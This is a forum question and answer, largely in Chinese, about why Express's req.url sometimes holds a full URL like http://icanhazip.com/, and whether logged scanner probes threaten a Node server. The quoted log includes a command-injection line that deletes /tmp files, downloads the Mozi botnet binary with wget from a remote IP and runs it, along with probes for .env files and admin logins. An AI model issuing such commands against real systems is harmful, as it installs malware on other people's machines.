expressjs req.url 路径怎么可能是另一个 url?

How can expressjs req.url path be another url?

我最近发现有人向我的 node-express 服务器发出了可疑请求。所以我写了一个中间件来记录请求urls。是否记录了很多以“/”开头的可疑请求路径,但有些路径实际上是另一个 url。在明确要求下这怎么可能? 我试图搜索这个但没有找到任何东西。这些请求是否会危及节点服务器的安全性。 (例如 req.url 显示为 http://icanhazip.com/

我的log.txt文件

/wp-content/
/owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f
/shell?cd+/tmp;rm+-rf+*;wget+http://AN_IP_WAS_HERE:40222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
/.env
/.env
http://example.com/<-- how is this possible in express request ?
/boaform/admin/formLogin
http://icanhazip.com/  <-- how is this possible in express request ?

用于记录请求的代码

app.use((req,res,next) => {
    var isvalid = true;

    //some validation code here

    if(!isvalid){
        fs.appendFileSync("./log.txt", "\r\n"+ req.url);
        res.send("...");
    } else next();
});

how is this possible in express request ?

一个非常基本的 HTTP 请求如下所示:

GET /your/path HTTP/1.1

并且任何普通客户端都会在那里放置一个合理的路径。

如果您正在编写自己的客户端,或者手动构造请求(例如,通过键入连接到 HTTP 端口的 telnet 客户端),那么您可以在那里编写任何您喜欢的内容:

GET http://example.com/ HTTP/1.1

Could these request compromise the security of the node server.

一般不会。他们正在寻找可以利用的安全漏洞。不要对用户输入做不安全的事情,及时更新你所依赖的模块的安全补丁,你会没事的。